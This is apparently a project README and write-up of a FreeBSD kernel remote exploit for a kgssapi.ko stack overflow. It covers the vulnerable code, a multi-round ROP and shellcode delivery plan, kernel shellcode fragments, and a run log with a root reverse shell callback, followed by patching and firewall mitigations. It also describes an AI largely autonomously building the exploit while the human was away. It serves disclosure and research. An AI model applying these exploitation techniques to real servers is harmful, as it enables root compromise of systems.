
Remote kernel RCE exploit for FreeBSD CVE-2026-4747, a stack buffer overflow in kgssapi.ko leading to root shell via ROP chain and shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow in kgssapi.ko → Root Shell in ~4 hours
"The first remote kernel RCE exploit discovered AND exploited by an AI. Total time: ~4 hours of real work."
— Discovered by Nicholas Carlini using Claude (Anthropic) · Published 26 Mar 2026
CVE-2026-4747 is a stack buffer overflow vulnerability located in kgssapi.ko, the FreeBSD kernel module that implements RPCSEC_GSS authentication for NFS.
The svc_rpc_gss_validate() function copies an attacker-controlled credential body into a 128-byte buffer on the stack (rpchdr[]) without checking the size. Since 32 bytes are already occupied by RPC header fields, only 96 bytes remain free — but the XDR layer allows credentials of up to 400 bytes, giving 304 bytes of overflow.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| Component | kgssapi.ko / librpcgss_sec |
| Protocol | NFS / RPCSEC_GSS / Kerberos |
| Required privilege | Valid Kerberos ticket (low privilege) |
| Impact | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Patched | FreeBSD-SA-26:08.rpcsec_gss |
26 Mar 2026 ── FreeBSD publishes FreeBSD-SA-26:08.rpcsec_gss
Credit: "Nicholas Carlini using Claude, Anthropic"
29 Mar 2026 ── 09:45 AM PDT: Claude is asked to develop an exploit
05:00 PM PDT: Claude delivers a functional root shell
Total: ~7h wall clock / ~4h of real Claude work
The human was AFK for most of the process.
/* In svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Stack buffer */
/* 32 bytes already consumed by RPC header fields */
/* Only 96 bytes remain free */
/* XDR allows credentials of up to 400 bytes */
/* 400 - 96 = 304 bytes of overflow → RIP hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: size not checked */
FreeBSD 14.x does not have:
int32_t[])This makes the overflow → RIP control direct.
Attacker (network)
│
│ Valid Kerberos ticket for nfs/target@REALM
│
▼
NFS Server (port 2049/TCP)
│
│ RPCSEC_GSS request with credential_len = 400
│
▼
svc_rpc_gss_validate() ← kernel ring 0
│
│ memcpy without size check
│ [128 bytes buffer + 304 bytes overflow]
│
▼
Stack Smashing → Controlled RIP → ROP chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude solved 6 distinct problems to go from advisory to root shell:
# FreeBSD 14.4-RELEASE VM with:
# - 2+ CPUs (FreeBSD spawns 8 NFS threads per CPU; the exploit needs 15 rounds)
# - kgssapi.ko loaded
# - NFS active on port 2049
# - MIT Kerberos KDC configured (required to reach the vulnerable code)
# - QEMU port forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Critical Kerberos configuration on the attacker:
# /etc/krb5.conf
[libdefaults]
rdns = false # Without this: ticket for nfs/localhost@REALM (incorrect)
dns_canonicalize_hostname = false # Server rejects with KRB5KRB_AP_WRONG_PRINC
The shellcode is 432 bytes but only 200 bytes are available for the ROP chain per packet.
Round 1: ROP → pmap_change_prot(BSS, RWX) ← make BSS executable
Rounds 2-14: ROP → write 32 bytes of shellcode to BSS (4 writes × 8 bytes)
Round 15: ROP → write last bytes + JUMP to shellcode
Budget per round: 4 writes × 40 bytes = 160 bytes + 24 bytes exit = 184 bytes ✓ (< 200)
; Each round ends with kthread_exit(0) instead of a normal return
; The server doesn't crash — it simply loses an NFS thread
; With 2 CPUs: 16 threads available → enough for 15 rounds
# De Bruijn sequence → every 8-byte substring is unique
# Send as credential body → kernel crashes → read RIP from crash dump
# Disassembly said offset 168 → real: 200 bytes
# Difference: 32 bytes of GSS header that static analysis didn't account for
pattern = cyclic(400) # 400-byte De Bruijn
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
The shellcode runs in a pure kernel NFS thread — no vmspace, no trapframe.
/* Phase 1 (in hijacked NFS thread shellcode): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Kill NFS thread cleanly */
/* Phase 2 (in the new process): */
/* 1. Clear debug registers (hardware bug - see Step 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Execute /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRITICAL: Clear P_KPROC flag */
/* Without this, fork_exit() calls kthread_exit() and kills the process */
proc->p_flag &= ~P_KPROC;
/* 4. Return → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Symptom: Child process crashes with trap 1 (debug exception) on a valid instruction.
Cause: kproc_create/fork1 copies the parent's PCB, inheriting DDB breakpoints
left over from previous crashes during exploit development.
Fix: Two instructions before kproc_create:
xor eax, eax
mov dr7, rax ← Disables all hardware breakpoints
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# Download FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# Create disk and boot VM with 2+ CPUs
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 2+ CPUs for 16+ NFS threads
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # Log to read crash dumps
# Inside FreeBSD: configure NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# Basic KDC setup
pkg install heimdal
# Create principals: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. Install FreeBSD 14.4-RELEASE in VMware
2. In Network Adapter: select "NAT" or "Host-only"
3. Configure port forwarding in VMware NAT:
- Host 2049 TCP → Guest 2049
- Host 88 TCP/UDP → Guest 88 (KDC)
4. Same NFS/Kerberos setup as QEMU
5. In attacker's /etc/krb5.conf:
kdc = 127.0.0.1:88 (points to the port forward)
# Update FreeBSD to patched version
freebsd-update fetch install
# Verify the advisory is patched
freebsd-version -k # Should show post-SA-26:08 version
# 1. Disable kgssapi if RPCSEC_GSS is not needed
kldunload kgssapi
# In /boot/loader.conf:
# kgssapi_load="NO"
# 2. Restrict NFS access with firewall
ipfw add deny tcp from any to any 2049 not via lo0
# Or with pf:
# block in quick on em0 proto tcp to port 2049
# 3. Require Kerberos authentication only from trusted IPs
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
Computers have been finding bugs with fuzzers for decades. But finding a bug and exploiting it are completely different things. Exploit development requires understanding the kernel, building ROP chains, handling memory layouts, debugging crashes, and adapting when something fails.
That was always considered exclusively human territory.
CVE-2026-4747 proves that line has moved.
Claude autonomously solved 6 kernel exploit development problems in ~4 hours: lab setup, multi-packet delivery, clean thread exit, offset debugging, kernel-to-userland transition, and an undocumented hardware breakpoint bug. Two functional exploits using different strategies. Both worked on the first attempt.
This repository is exclusively for cybersecurity research, technical documentation, and educational purposes. The exploit documented here was developed in a controlled environment and responsibly reported to the FreeBSD maintainers before publication. Do not use against systems without explicit written authorization. The author is not responsible for misuse.
Original credit: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss
Stack overflow → ROP → shellcode → kproc_create → iretq → uid=0